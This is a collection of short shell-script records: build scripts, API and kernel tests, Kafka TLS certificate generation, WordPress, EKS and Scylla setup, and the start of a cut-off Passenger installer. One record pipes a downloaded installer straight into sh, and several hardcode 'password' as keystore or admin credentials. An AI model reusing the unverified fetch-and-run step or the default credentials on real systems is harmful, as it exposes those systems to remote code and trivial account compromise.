"adelin-b/Win10-Initial-Setup-Script\n# First run of archwsl\npacman-key --populate\npacman -Syyu"} {"text": "echo \"Enter range: \"\nread n\ni=0\nwhile [ $i -lt $n ]\ndo\n\tread a[$i]\n\ti=`expr $i + 1`\ndone\n\necho \"Out puts: \"\nfor i in \"${a[@]}\"\ndo\n\techo $i\ndone"} {"text": "10-100\n#!/bin/bash\n\nCGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -o dist/seo-tools-mac/seo-tools .\nCGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -o dist/seo-tools-win/seo-tools.exe .\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o dist/seo-tools-linux/seo-tools ."} {"text": "10-100\n#!/bin/bash\n# SPDX-License-Identifier: GPL-2.0\n\n# Kselftest framework requirement - SKIP code is 4.\nksft_skip=4\n\nmsg=\"skip all tests:\"\nif [ $UID != 0 ]; then\n\techo $msg please run this as root >&2\n\texit $ksft_skip\nfi\n\nGREEN='\\033[0;92m'\nRED='\\033[0;31m'\nNC='\\033[0m' # No Color\n\nmodprobe rc-loopback\n\nfor i in /sys/class/rc/rc*\ndo\n\tif grep -q DRV_NAME=rc-loopback $i/uevent\n\tthen\n\t\tLIRCDEV=$(grep DEVNAME= $i/lirc*/uevent | sed sQDEVNAME=Q/dev/Q)\n\t\tINPUTDEV=$(grep DEVNAME= $i/input*/event*/uevent | sed sQDEVNAME=Q/dev/Q)\n\tfi\ndone\n\nif [ -n $LIRCDEV ];\nthen\n\tTYPE=lirc_mode2\n\t./test_lirc_mode2_user $LIRCDEV $INPUTDEV\n\tret=$?\n\tif [ $ret -ne 0 ]; then\n\t\techo -e ${RED}\"FAIL: $TYPE\"${NC}\n\telse\n\t\techo -e ${GREEN}\"PASS: $TYPE\"${NC}\n\tfi\nfi"} {"text": "#!/bin/bash\n\n#test output from /api/execution/{id}\n\nDIR=$(cd `dirname $0` && pwd)\nsource $DIR/include.sh\n\n####\n# Setup: create simple adhoc command execution to provide execution ID.\n####\n\nrunurl=\"${APIURL}/run/command\"\nproj=\"test\"\nparams=\"project=${proj}&exec=echo+testing+execution+api\"\n\n# get listing\ndocurl -X POST ${runurl}?${params} > $DIR/curl.out\nif [ 0 != $? ] ; then\n errorMsg \"ERROR: failed query request\"\n exit 2\nfi\n\n$SHELL $SRC_DIR/api-test-success.sh $DIR/curl.out || exit 2\n\n#select id\n\nexecid=$($XMLSTARLET sel -T -t -v \"/result/execution/@id\" $DIR/curl.out)\n\nif [ -z \"$execid\" ] ; then\n errorMsg \"FAIL: expected execution id\"\n exit 2\nfi\n\n\n####\n# Test:\n####\n\n# now submit req\nrunurl=\"${APIURL}/execution/${execid}\"\nparams=\"\"\n\n\necho \"TEST: ${runurl}?${params} ...\"\n\n# get listing\ndocurl ${runurl}?${params} > $DIR/curl.out\nif [ 0 != $? ] ; then\n errorMsg \"ERROR: failed query request\"\n exit 2\nfi\n\n$SHELL $SRC_DIR/api-test-success.sh $DIR/curl.out || exit 2\n\n#Check projects list\nitemcount=$($XMLSTARLET sel -T -t -v \"/result/executions/@count\" $DIR/curl.out)\nassert \"1\" \"$itemcount\" \"execution count should be 1\"\nassert_xml_value \"$execid\" \"/result/executions/execution/@id\" $DIR/curl.out\nassert_xml_notblank \"/result/executions/execution/@href\" $DIR/curl.out\nassert_xml_notblank \"/result/executions/execution/@permalink\" $DIR/curl.out\nassert_xml_notblank \"/result/executions/execution/@status\" $DIR/curl.out\nassert_xml_notblank \"/result/executions/execution/@project\" $DIR/curl.out\nassert_xml_notblank \"/result/executions/execution/user\" $DIR/curl.out\n\necho \"OK\"\n\nparams=\"\"\n\necho \"TEST: ${runurl}?${params} (json) ...\"\n\n# get listing\ndocurl -D $DIR/headers.out -H 'accept: application/json' ${runurl}?${params} > $DIR/curl.out\nif [ 0 != $? ] ; then\n errorMsg \"ERROR: failed query request\"\n exit 2\nfi\n\nassert_http_status 200 $DIR/headers.out\n\n#Check projects list\nassert_json_value \"$execid\" \".id\" $DIR/curl.out\nassert_json_not_null \".href\" $DIR/curl.out\nassert_json_not_null \".permalink\" $DIR/curl.out\nassert_json_not_null \".status\" $DIR/curl.out\nassert_json_not_null \".project\" $DIR/curl.out\nassert_json_not_null \".user\" $DIR/curl.out\n\necho \"OK\"\n\n\n\n\n#rm $DIR/curl.out"} {"text": "#!/bin/bash\n# Add the IBM Cloud CLI if not ARM architecture\nif [ $(uname -m) != aarch64 ]; then\n echo \"Installing IBM Cloud CLI...\"\n curl -fsSL https://clis.cloud.ibm.com/install/linux | sh\n echo \"alias ic=ibmcloud\" >> /home/devops/.bashrc\n echo \"Installing Cloud Foundry CLI...\"\n ibmcloud cf install -f\nelse \\\n echo \"Sorry IBM Cloud does not support aarch64 architecture :(\"\nfi;"} {"text": "modules/swagger-promote-export/src/main/assembly/scripts/api-export.sh\n#!/bin/sh\r\n\r\nif [ -n \"$JAVA_HOME\" ] && [ -x \"$JAVA_HOME/bin/java\" ]\r\nthen\r\n #### echo \"Using java given in JAVA_HOME\"\r\n _java=$JAVA_HOME/bin/java\r\nelif type -p java\r\nthen\r\n #### echo \"Using java found in the PATH\"\r\n _java=java\r\nelse\r\n echo \"No Java runtime available. Make java available to the path or set JAVA_HOME!\"\r\n exit 1\r\nfi\r\n\r\n#programDir=\"${0%/*}\"\r\nprogramDir=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\r\n\r\ncd $programDir/..\r\n\r\nCP=lib:conf\r\nfor jars in lib/*\r\ndo\r\n CP=$CP:$jars\r\ndone\r\n\r\necho \"\"\r\n\r\n\"$_java\" -Xms64m -Xmx256m -Dlog4j.configuration=../lib/log4j.xml -classpath \"$CP\" com.axway.apim.ExportApp \"${@}\"\r\nrc=$?\r\nexit $rc"} {"text": "finder-app/finder.sh\n#!/bin/bash\n\nif [ -z $1 ] || [ -z $2 ]\nthen\n\techo \"Requires two arguments\"\n\texit -1\nfi\n\ndesdir=$1\nstring=$2\n\n\nif [ ! -d $desdir ]\nthen\n\techo \"$desdir Directory does not exist\"\n\texit -1\nfi\n\nfile_count=$(grep -lr $string $desdir | wc -l)\n#word_count=$(grep -or $string $desdir | wc -l)\nline_count=$(grep -r $string $desdir | wc -l)\necho \"The number of files are $file_count and the number of matching lines are $line_count\""} {"text": "#!/bin/sh\n\n# Created by , z5146092\n\nif !([ -r \"legit.pl\" ]);\nthen\n echo \"Cannot open file legit.pl - file does not exist!\"\n exit 1\nfi\n\nif ([ -d \".legit\" ]);\nthen\n rm -rf \".legit/\"\nfi\n\necho -e \"\\e[31m=====================================================\\e[0m\"\necho -e \"\\e[31mTEST00 (test for edge input, illegal input and some errors)\\e[0m\"\n\necho -e \"\\e[33mperl legit.pl init\\e[0m\" \nperl legit.pl init\necho -e \"\\e[33mecho 10 >a\\e[0m\"\necho 10 >a\necho -e \"\\e[33mperl legit.pl add -a\\e[0m\"\nperl legit.pl add -a\necho -e \"\\e[33mperl legit.pl add *\\e[0m\"\nperl legit.pl add *\necho -e \"\\e[33mperl legit.pl show a\\e[0m\"\nperl legit.pl show a\necho -e \"\\e[33mperl legit.pl commit -m %*#e12(-\\e[0m\"\nperl legit.pl commit -m %*#\necho -e \"\\e[33mperl legit.pl show :a\\e[0m\"\nperl legit.pl show :a\necho -e \"\\e[33mperl legit.pl branch 000123123\\e[0m\"\nperl legit.pl branch 000123123\necho -e \"\\e[33mperl legit.pl branch abc-723_er\\e[0m\"\nperl legit.pl branch abc-723_er\necho -e \"\\e[33mperl legit.pl checkout abc-723_er\\e[0m\"\nperl legit.pl checkout abc-723_er\necho -e \"\\e[33mperl legit.pl checkout abc-723_er\\e[0m\"\nperl legit.pl checkout abc-723_er\necho -e \"\\e[33mecho 5 >b\\e[0m\"\necho 5 >b\necho -e \"\\e[33mperl legit.pl add b\\e[0m\"\nperl legit.pl add b\necho -e \"\\e[33mperl legit.pl commit -m abc\\e[0m\"\nperl legit.pl commit -m abc\necho -e \"\\e[33mperl legit.pl checkout master\\e[0m\"\nperl legit.pl checkout master\necho -e \"\\e[33mperl legit.pl branch -d abc-723_er\\e[0m\"\nperl legit.pl branch -d abc-723_er\necho -e \"\\e[33mperl legit.pl checkout abc-723_er\\e[0m\"\nperl legit.pl checkout abc-723_er\necho -e \"\\e[33mperl legit.pl merge -m merged abc-723_er\\e[0m\"\nperl legit.pl merge -m merged abc-723_er\necho -e \"\\e[33mperl legit.pl checkout master\\e[0m\"\nperl legit.pl checkout master\necho -e \"\\e[33mperl legit.pl merge -m merged abc-723_er\\e[0m\"\nperl legit.pl merge -m merged abc-723_er\n\necho -e \"\\e[31m=====================================================\\e[0m\"\necho -e \"\\e[31mTEST00 (test for edge input, illegal input and some errors) finished - cleansed created files: a b\\e[0m\"\n\nrm -f a b"} {"text": "self::init() { \n obj_super\n self[modvar1]=1234\n}\n\nself::myfunc1 () {\n ds_push \"This is myfunc1 from module MyMod1: ${self[modvar1]}\"\n self[modvar1]=abcd\n $__type::myfunc2\n}\n\nself::myfunc2 () {\n ds_push \"This is myfunc2 from module MyMod1: ${self[modvar1]}\"\n}"} {"text": "#!/bin/bash\n#script to find the largest prime factor of a given number\n\n#print dialog to user to get the number\necho \"Kindly enter the number!\"\n\n#get number from the user\nread number\n\n#print number entered to the user\necho \"You entered the number:\"$number\n\n#initialize for loop\nresult=0\nflag=0\nhalfNumber=$(echo \"$number/2\" | bc )\n#echo \"Half Number is: \"$halfNumber\ni=$(($halfNumber))\n\n#start check for prime number\nif [ $( echo \"$number\" | ./checkPrime.sh ) -eq 1 ]\nthen\n\tresult=$number\nfi\n\n#secondary check\nif [ $result -eq 0 ]\nthen\n\techo \"secondary check $i\"\n\twhile [ $( echo \"$i >= 1\" | bc ) -eq 1 ] && [ $flag -eq 0 ]\n\tdo\n\t\tif [ $( echo \"$i\" | ./checkPrime.sh ) -eq 1 ] && [ $( echo \"$number % $i\" | bc ) -eq 0 ]\n\t\tthen\n\t\t\tflag=1\n\t\t\t#echo \"flag is high\"\n\t\t\tresult=$i\n\t\tfi\n\t\techo \"$i\"\n\t\ti=$(($i-1))\n\tdone\nfi\n\n#print result\necho \"Largest prime factor of $number is: \"$result"} {"text": "#!/bin/bash -x\n# Copyright 2020, SURFsara.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\ncowsay \"Install Kafka\"\n\ngit clone --branch v5.2.2-1 https://github.com/confluentinc/cp-helm-charts.git\n\ndiff kafka-values.yaml cp-helm-charts/charts/cp-kafka/values.yaml\n\nhelm dep update cp-helm-charts/charts/cp-kafka\n\nhelm install --name kafka -f kafka-values.yaml ./cp-helm-charts/charts/cp-kafka\n\nkubectl patch statefulset kafka-cp-kafka --patch \"$(cat kafka-patch.yaml)\"\nkubectl patch statefulset kafka-cp-zookeeper --patch \"$(cat zookeeper-patch.yaml)\""} {"text": "aonurdemir/nats-kafka\n#!/bin/bash\n# References:\n# http://docs.confluent.io/2.0.0/kafka/ssl.html\n# http://stackoverflow.com/questions/2846828/converting-jks-to-p12\n# https://raw.githubusercontent.com/trastle/docker-kafka-ssl/master/generate-docker-kafka-ssl-certs.sh\n\nPASSWORD=\"password\"\n\nSERVER_JKS=\"server.jks\"\nSERVER_P12=\"server.p12\"\nSERVER_PEM=\"server.pem\"\n\nCLIENT_JKS=\"client.jks\"\nCLIENT_P12=\"client.p12\"\nCLIENT_PEM=\"client.pem\"\n\nTRUSTSTORE_JKS=\"truststore.jks\"\nTRUSTSTORE_P12=\"truststore.p12\"\nTRUSTSTORE_PEM=\"truststore.pem\"\n\necho \"Clearing existing Kafka SSL certs...\"\ncd resources\nrm -rf certs\nmkdir certs\n\n(\necho \"Generating Kafka SSL certs...\"\ncd certs\n# create a new x509 cert, store it in ca-cert and store the key in ca-key\nopenssl req -new -x509 -keyout ca-key -out ca-cert -days 730 -passout :$PASSWORD \\\n -subj \"/C=US/ST=CA/L=LosAngeles/O=None/OU=None/CN=nat.kafka.ssl\" \\\n -addext \"subjectAltName = DNS:nat.kafka.ssl\"\n\n##\n## Trust Store ##\n##\n\n# import the cert into the trust store, jks file\nkeytool -keystore $TRUSTSTORE_JKS -alias CARoot -import -file ca-cert -storepass $PASSWORD -noprompt -storetype pkcs12\n\n# create a p12 for the server keystore\nkeytool -importkeystore -srckeystore $TRUSTSTORE_JKS -destkeystore $TRUSTSTORE_P12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass $PASSWORD -deststorepass $PASSWORD -noprompt\n\n# Create a PEM for the server keystore\nopenssl pkcs12 -in $TRUSTSTORE_P12 -out $TRUSTSTORE_PEM -nodes -passin pass:$PASSWORD\n\n##\n## Server Key Store ##\n##\n\n# Create the server keystore JKS file\nkeytool -keystore $SERVER_JKS -alias localhost -validity 730 -genkey -storepass $PASSWORD -keypass $PASSWORD \\\n -dname \"CN=localhost, OU=None, O=None, L=LosAngeles, ST=California, C=US\" -storetype pkcs12 -keyalg RSA -keysize 2048 \\\n -ext SAN=dns:localhost\n# Add the cert file to the serer keystore\nkeytool -keystore $SERVER_JKS -alias localhost -certreq -file server-file -storepass $PASSWORD -noprompt\n# sign the cert and save to server-signed\nopenssl x509 -req -CA ca-cert -CAkey ca-key -in server-file -out server-signed -days 730 -CAcreateserial -passin pass:$PASSWORD\n# Add the ca-cert to the server keystore as root\nkeytool -keystore $SERVER_JKS -alias CARoot -import -file ca-cert -storepass $PASSWORD -noprompt\n# Add the signed cert to the server keystore for localhost\nkeytool -keystore $SERVER_JKS -alias localhost -import -file server-signed -storepass $PASSWORD -noprompt\n# create a p12 for the server keystore\nkeytool -importkeystore -srckeystore $SERVER_JKS -destkeystore $SERVER_P12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass $PASSWORD -deststorepass $PASSWORD -noprompt\n# Create a PEM for the server keystore\nopenssl pkcs12 -in $SERVER_P12 -out $SERVER_PEM -nodes -passin pass:$PASSWORD\n\n# Export the server cert and convert to .pem\nkeytool -export -alias localhost -file server-cert.der -keystore $SERVER_JKS -storepass $PASSWORD -noprompt\nopenssl x509 -inform der -in server-cert.der -out server-cert.pem -passin pass:$PASSWORD\n# Export the server key\nopenssl pkcs12 -in $SERVER_P12 -nodes -nocerts -out server.key -passin pass:$PASSWORD\nsed -ne '/-BEGIN PRIVATE KEY-/,/-END PRIVATE KEY-/p' server.key > server-key.pem\n\n##\n## Client Key Store ##\n##\n\n# Create the client keystore JKS file\nkeytool -keystore $CLIENT_JKS -alias localhost -validity 730 -genkey -storepass $PASSWORD -keypass $PASSWORD \\\n -dname \"CN=nat.kafka.client.ssl, OU=None, O=None, L=LosAngeles, ST=California, C=US\" -storetype pkcs12 -keyalg RSA -keysize 2048 \\\n -ext SAN=dns:localhost\n# Add the cert file to the client keystore\nkeytool -keystore $CLIENT_JKS -alias localhost -certreq -file client-file -storepass $PASSWORD -noprompt\n# sign the cert and save to cert-signed\nopenssl x509 -req -CA ca-cert -CAkey ca-key -in client-file -out client-signed -days 730 -CAcreateserial -passin pass:$PASSWORD\n# Add the ca-cert to the server keystore as root\nkeytool -keystore $CLIENT_JKS -alias CARoot -import -file ca-cert -storepass $PASSWORD -noprompt\n# Add the signed cert to the server keystore for localhost\nkeytool -keystore $CLIENT_JKS -alias localhost -import -file client-signed -storepass $PASSWORD -noprompt\n# create a p12 for the server keystore\nkeytool -importkeystore -srckeystore $CLIENT_JKS -destkeystore $CLIENT_P12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass $PASSWORD -deststorepass $PASSWORD -noprompt\n# Create a PEM for the server keystore\nopenssl pkcs12 -in $CLIENT_P12 -out $CLIENT_PEM -nodes -passin pass:$PASSWORD\n\n# Export the client cert and convert to .pem\nkeytool -export -alias localhost -file client-cert.der -keystore $CLIENT_JKS -storepass $PASSWORD -noprompt\nopenssl x509 -inform der -in client-cert.der -out client-cert.pem -passin pass:$PASSWORD\n# Export the client key\nopenssl pkcs12 -in $CLIENT_P12 -nodes -nocerts -out client.key -passin :$PASSWORD\nsed -ne '/-BEGIN PRIVATE KEY-/,/-END PRIVATE KEY-/p' client.key > client-key.pem\n\n# clean up temp files\nrm *.der\nrm *.p12\nrm *.key\n\n# set permissions\nchmod +rx *\n)"} {"text": "init.sh1-10\n#!/bin/sh\n\ncd /var/www/html\nif $(wp core is-installed); then\n wp core download --version=${WP_VERSION:-latest} --force --allow-root \\\n && wp core config --dbname=${MYSQL_DATABASE:-wordpress} --dbuser=${MYSQL_USER:-wordpress} --dbpass=${MYSQL_PASSWORD:-password} --dbhost=database --force --allow-root \\\n && wp core install --url=localhost --title=WordPress --admin_user=${WP_USER:-user} --admin_password=${WP_PASS:-password} --admin_email=${WP_EMAIL:-} --allow-root \\\n && wp rewrite structure \"/%postname%/\" --allow-root \\\n && wp site empty --allow-root \\\n && wp widget delete search-2 recent-posts-2 recent-comments-2 archives-2 categories-2 meta-2 --allow-root\nfi\n\ncd /var/www/adminer\nif [ ! -e adminer.php ]; then\n wget https://github.com/vrana/adminer/releases/download/v4.6.3/adminer-4.6.3.php -O adminer.php\nfi\n\nexec \"$@\""} {"text": "git subtree push --prefix=Assets/Mirror origin upm \ngit fetch\ngit tag $1 origin/upm\ngit push --tags"} {"text": "cd ~/fabric-dev-servers/fabric-scripts/hlfv12/composer/\ndocker-compose start"} {"text": "#!/bin/bash -el\n\n# This script expects environment variables already set, and configures the\n# environment before starting the tests. The environment variables can be set\n# manually, by matrix_tests.sh or by travis-ci. The script should self-destruct\n# after a timeout to avoid running forever with hung tests.\n\necho \"Starting tests...\"\n\nkilltree() {\n local parent=$1 child\n if [[ \"$1\" == \"$BASHPID\" ]] ; then\n return\n fi\n for child in $(ps -o ppid= -o pid= | awk \"\\$1==$parent {print \\$2}\"); do\n killtree $child\n done\n { kill -0 $parent 2> /dev/null && kill -9 $parent ; } || echo Process $parent finished.\n}\n\n# BEGIN TIMEOUT #\nTIMEOUT=7200 # 2 hourAllow testss\nPROGRESS_INTERVAL=300 # 5 minutes\nBOSSPID=$$\n(\n if [ \"${BASH_VERSINFO[0]}\" -lt 4 ] ; then\n echo \"Setting BASHPID for bash < v4\"\n t=\"/tmp/$$.sh\" ; echo 'echo $PPID' > $t\n BASHPID=`bash $t`\n rm $t\n fi\n if [[ \"$TRAVIS\" = \"true\" ]] ; then\n echo \"Wake travis every $PROGRESS_INTERVAL seconds\"\n timeout $TIMEOUT bash -c -- \"while true; do sleep $PROGRESS_INTERVAL ; printf '...';done\"\n else\n echo \"Set timeout to $TIMEOUT seconds.\"\n sleep $TIMEOUT\n fi\n echo\n echo \"Test timed out after $TIMEOUT seconds.\"\n echo\n killtree $BOSSPID\n echo\n echo Emulator log:\n echo\n cat adb_logcat.log\n echo\n echo \"Test timed out after $TIMEOUT seconds.\"\n)&\nTIMERPID=$!\necho \"PIDs: Boss: $BOSSPID, Timer: $TIMERPID\"\n\ntrap \"killtree $TIMERPID\" EXIT\n# END TIMEOUT #\n\nrake reinstall\nruboto setup -y -t $ANDROID_TARGET\nsource ~/.rubotorc\n\nruboto emulator -t $ANDROID_TARGET --no-snapshot\n> adb_logcat.log\n\n(gem query -q -i -n ^bundler$ >/dev/null) || gem install bundler\nbundle check || bundle install\n\nexport NOEXEC_DISABLE=1\nrake clean\nset +e\nif [ \"$TEST_NAME\" != \"\" ] ; then\n TEST_NAME_ARG=\"-n $TEST_NAME\"\nfi\nif [ \"$TEST_SCRIPT\" != \"\" ] ; then\n ruby $TEST_SCRIPT $TEST_NAME_ARG\nelse\n rake test $* $TEST_NAME_ARG\nfi\nTEST_RC=$?\nset -e\n\necho Tests exited with code $TEST_RC\n\nif [ \"$TEST_RC\" != \"0\" ] ; then\n echo\n echo Emulator log:\n echo\n cat adb_logcat.log\n echo\n echo Tests failed with exit code $TEST_RC\nfi\n\nexit $TEST_RC"} {"text": "docker build -t \"statexcqm\" -f Dockerfile ..\ndocker run --name testxcqm -it statexcqm"} {"text": "krzyssota/scylla-operator-1\n#!/bin/bash\nset -euo pipefail\n\n#########\n# Start #\n#########\n\ndisplay_usage() {\n\techo \"End-to-end deployment script for scylla on EKS.\"\n\techo \"usage: $0 -z|--eks-zone [EKS zone] -c|--k8s-cluster-name [cluster name (optional)]\"\n}\n\nCLUSTER_NAME=scylla-demo\n\nwhile (( \"$#\" )); do\n case \"$1\" in\n -z|--eks-zone)\n if [ -n \"$2\" ] && [ ${2:0:1} != \"-\" ]; then\n EKS_ZONE=$2\n shift 2\n else\n echo \"Error: Argument for $1 is missing\" >&2\n exit 1\n fi\n ;;\n -c|--k8s-cluster-name)\n if [ -n \"$2\" ] && [ ${2:0:1} != \"-\" ]; then\n CLUSTER_NAME=$2\n shift 2\n else\n echo \"Error: Argument for $1 is missing\" >&2\n exit 1\n fi\n ;;\n -h|--help)\n display_usage\n exit 1\n ;;\n -*|--*=) # unsupported flags\n echo \"Error: Unsupported flag $1\" >&2\n exit 1\n ;;\n *) # preserve positional arguments\n PARAMS=\"$PARAMS $1\"\n shift\n ;;\n esac\ndone\n\nif [ -z \"$EKS_ZONE\" ]\nthen\n display_usage\n exit 1\nfi\n\nEKS_REGION=${EKS_ZONE:0:$((${#EKS_ZONE}-1))}\n\ncheck_prerequisites() {\n echo \"Checking if eksctl is present on the machine...\"\n if ! hash eksctl 2>/dev/null; then\n echo \"You need to install eksctl. See: https://docs.aws.amazon.com/eks/latest/userguide/getting-started-eksctl.html\"\n exit 1\n fi\n\n echo \"Checking if kubectl is present on the machine...\"\n if ! hash kubectl 2>/dev/null; then\n echo \"You need to install kubectl. See: https://kubernetes.io/docs/tasks/tools/install-kubectl/\"\n exit 1\n fi\n\n echo \"Checking if helm is present on the machine...\"\n if ! hash helm 2>/dev/null; then\n echo \"You need to install helm. See: https://docs.helm.sh/using_helm/#installing-helm\"\n exit 1\n fi\n}\n\n# Check if the environment has the prerequisites installed\ncheck_prerequisites\n\n# Create EKS cluster\n\nsed \"s//${EKS_REGION}/g;s//${CLUSTER_NAME}/g;s//${EKS_ZONE}/g\" eks-cluster.yaml | eksctl create cluster -f -\n\n# Configure node disks and network\nkubectl apply -f node-setup-daemonset.yaml\nsleep 60\n\n# Install local volume provisioner\necho \"Installing local volume provisioner...\"\nhelm install local-provisioner ../common/provisioner\necho \"Your disks are ready to use.\"\n\necho \"Starting the cert manger...\"\nkubectl apply -f ../common/cert-manager.yaml\nkubectl -n cert-manager wait --for=condition=ready pod -l app=webhook --timeout=60s\n\necho \"Starting the scylla operator...\"\nkubectl apply -f ../common/operator.yaml\nkubectl -n scylla-operator-system wait --for=condition=ready pod -l control-plane=controller-manager --timeout=60s\n\necho \"Starting the scylla cluster...\"\nsed \"s//${EKS_REGION}/g;s//${EKS_ZONE}/g\" cluster.yaml | kubectl apply -f -"} {"text": "server/files/centminmod/addons/passenger.sh\n#!/bin/bash\nVER='0.1.0'\n#####################################################\n# set locale temporarily to english\n# due to some non-english locale issues\nexport LC_ALL=en_US.UTF-8\nexport LANG=en_US.UTF-8\nexport LANGUAGE=en_US.UTF-8\nexport LC_CTYPE=en_US.UTF-8\n######################################################\n# ruby, rubygem, rails and passenger installer\n# for Centminmod.com\n# written by (eva2000) centminmod.com\n######################################################\nRUBYVER='2.6.0'\nRUBYBUILD=''\n\n# switch to nodesource yum repo instead of source compile\nNODEJSVER='8'\n\nDT=$(date +\"%d%m%y-%H%M%S\")\nCENTMINLOGDIR='/root/centminlogs'\nDIR_TMP='/svr-setup'\nCONFIGSCANBASE='/etc/centminmod'\nSCRIPT_DIR=$(readlink -f $(dirname ${BASH_SOURCE[0]}))\nFORCE_IPVFOUR='y' # curl/wget commands through script force IPv4\n######################################################\n# Setup Colours\nblack='\\E[30;40m'\nred='\\E[31;40m'\ngreen='\\E[32;40m'\nyellow='\\E[33;40m'\nblue='\\E[34;40m'\nmagenta='\\E[35;40m'\ncyan='\\E[36;40m'\nwhite='\\E[37;40m'\n\nboldblack='\\E[1;30;40m'\nboldred='\\E[1;31;40m'\nboldgreen='\\E[1;32;40m'\nboldyellow='\\E[1;33;40m'\nboldblue='\\E[1;34;40m'\nboldmagenta='\\E[1;35;40m'\nboldcyan='\\E[1;36;40m'\nboldwhite='\\E[1;37;40m'\n\nReset=\"tput sgr0\" # Reset text attributes to normal\n #+ without clearing screen.\n\ncecho () # Coloured-echo.\n # Argument $1 = message\n # Argument $2 = color\n{\nmessage=$1\ncolor=$2\necho -e \"$color$message\" ; $Reset\nreturn\n}\n\n###########################################\nshopt -s expand_aliases\nfor g in \"\" e f; do\n alias ${g}grep=\"LC_ALL=C ${g}grep\" # speed-up grep, egrep, fgrep\ndone\n\nCENTOSVER=$(awk '{ print $3 }' /etc/redhat-release)\n\nif [ ! -d \"$CENTMINLOGDIR\" ]; then\n mkdir -p \"$CENTMINLOGDIR\"\nfi\n\nif [ \"$CENTOSVER\" == 'release' ]; then\n CENTOSVER=$(awk '{ print $4 }' /etc/redhat-release | cut -d . -f1,2)\n if [[ \"$(cat /etc/redhat-release | awk '{ print $4 }' | cut -d . -f1)\" = '7' ]]; then\n CENTOS_SEVEN='7'\n fi\nfi\n\nif [[ \"$(cat /etc/redhat-release | awk '{ print $3 }' | cut -d . -f1)\" = '6' ]]; then\n CENTOS_SIX='6'\nfi\n\n# Check for Redhat Enterprise Linux 7.x\nif [ \"$CENTOSVER\" == 'Enterprise' ]; then\n CENTOSVER=$(awk '{ print $7 }' /etc/redhat-release)\n if [[ \"$(awk '{ print $1,$2 }' /etc/redhat-release)\" = 'Red Hat' && \"$(awk '{ print $7 }' /etc/redhat-release | cut -d . -f1)\" = '7' ]]; then\n CENTOS_SEVEN='7'\n REDHAT_SEVEN='y'\n fi\nfi\n\nif [[ -f /etc/system-release && \"$(awk '{print $1,$2,$3}' /etc/system-release)\" = 'Amazon Linux AMI' ]]; then\n CENTOS_SIX='6'\nfi\n\nif [ -f /proc/user_beancounters ]; then\n # CPUS='1'\n # MAKETHREADS=\" -j$CPUS\"\n # speed up make\n CPUS=$(grep -c \"processor\" /proc/cpuinfo)\n if [[ \"$CPUS\" -gt '8' ]]; then\n if [[ \"$(grep -o 'AMD EPYC 7601' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7601' ]]; then\n # 7601 at 12 cpu cores has 3.20hz clock frequency https://en.wikichip.org/wiki/amd/epyc/7601\n # while greater than 12 cpu cores downclocks to 2.70Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7551' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7551' ]]; then\n # 7551P at 12 cpu cores has 3.0Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7551p\n # while greater than 12 cpu cores downclocks to 2.55Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7401' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7401' ]]; then\n # 7401P at 12 cpu cores has 3.0Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7401p\n # while greater than 12 cpu cores downclocks to 2.8Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7371' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7371' ]]; then\n # 7371 at 8 cpu cores has 3.8Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7371\n # while greater than 8 cpu cores downclocks to 3.6Ghz\n CPUS=8\n else\n CPUS=$(echo $(($CPUS+2)))\n fi\n else\n CPUS=$(echo $(($CPUS+1)))\n fi\n MAKETHREADS=\" -j$CPUS\"\nelse\n # speed up make\n CPUS=$(grep -c \"processor\" /proc/cpuinfo)\n if [[ \"$CPUS\" -gt '8' ]]; then\n if [[ \"$(grep -o 'AMD EPYC 7601' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7601' ]]; then\n # 7601 at 12 cpu cores has 3.20hz clock frequency https://en.wikichip.org/wiki/amd/epyc/7601\n # while greater than 12 cpu cores downclocks to 2.70Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7551' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7551' ]]; then\n # 7551P at 12 cpu cores has 3.0Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7551p\n # while greater than 12 cpu cores downclocks to 2.55Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7401' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7401' ]]; then\n # 7401P at 12 cpu cores has 3.0Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7401p\n # while greater than 12 cpu cores downclocks to 2.8Ghz\n CPUS=12\n elif [[ \"$(grep -o 'AMD EPYC 7371' /proc/cpuinfo | sort -u)\" = 'AMD EPYC 7371' ]]; then\n # 7371 at 8 cpu cores has 3.8Ghz clock frequency https://en.wikichip.org/wiki/amd/epyc/7371\n # while greater than 8 cpu cores downclocks to 3.6Ghz\n CPUS=8\n else\n CPUS=$(echo $(($CPUS+4)))\n fi\n elif [[ \"$CPUS\" -eq '8' ]]; then\n CPUS=$(echo $(($CPUS+2)))\n else\n CPUS=$(echo $(($CPUS+1)))\n fi\n MAKETHREADS=\" -j$CPUS\"\nfi\n\nif [ -f \"${SCRIPT_DIR}/inc/custom_config.inc\" ]; then\n if [ -f /usr/bin/dos2unix ]; then\n dos2unix -q \"inc/custom_config.inc\"\n fi\n source \"inc/custom_config.inc\"\nfi\n\nif [ -f \"${CONFIGSCANBASE}/custom_config.inc\" ]; then\n # default is at 